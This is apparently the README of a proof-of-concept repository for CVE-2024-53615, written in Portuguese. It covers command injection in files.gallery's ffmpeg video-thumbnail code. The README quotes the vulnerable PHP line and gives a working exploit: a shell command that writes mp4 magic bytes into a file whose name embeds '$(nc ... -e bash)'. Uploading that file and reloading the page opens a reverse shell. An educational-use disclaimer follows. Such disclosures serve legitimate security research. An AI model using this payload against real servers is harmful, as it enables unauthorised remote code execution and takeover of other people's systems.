
CVE-2024-53615
Uma vulnerabilidade de injeção de comandos no componente de renderização de miniaturas de vídeo do files.gallery de Karl Ward, das versões v0.3.0 a 0.11.0, permite que atacantes remotos executem código arbitrário por meio de um arquivo de vídeo especialmente criado.
Pré-requisitos:
ffmpeg no PATHconfig.php: 'allow_upload' => trueexec deve estar habilitado na configuração do PHPA vulnerabilidade está na seguinte linha (obtida da versão 0.9.12), que gera pré-visualizações de vídeo:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
Como $this->path é controlável pelo usuário, podemos construir um arquivo malicioso cujo nome é uma substituição de comando bash. É importante que este arquivo contenha, por exemplo, os bytes mágicos do mp4 e que o nome do arquivo termine com .mp4:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
Se enviarmos este arquivo e atualizarmos a página para fazer a aplicação carregar o arquivo, obtemos um shell em nossa máquina local.
Nota: o comando é armazenado no nome do arquivo, portanto as possibilidades de reverse shell são limitadas devido às restrições de tamanho do nome.
Este repositório destina-se exclusivamente a fins educacionais e de pesquisa.
Aviso de uso indevido: O uso desta ferramenta para atividades não autorizadas ou maliciosas é estritamente proibido e pode violar leis locais, estaduais ou internacionais. O autor não é responsável por qualquer uso indevido deste código.
Obtenha sempre a devida autorização antes de implantar esta ferramenta em qualquer ambiente. Ao usar este projeto, você concorda em usá-lo de forma responsável e ética.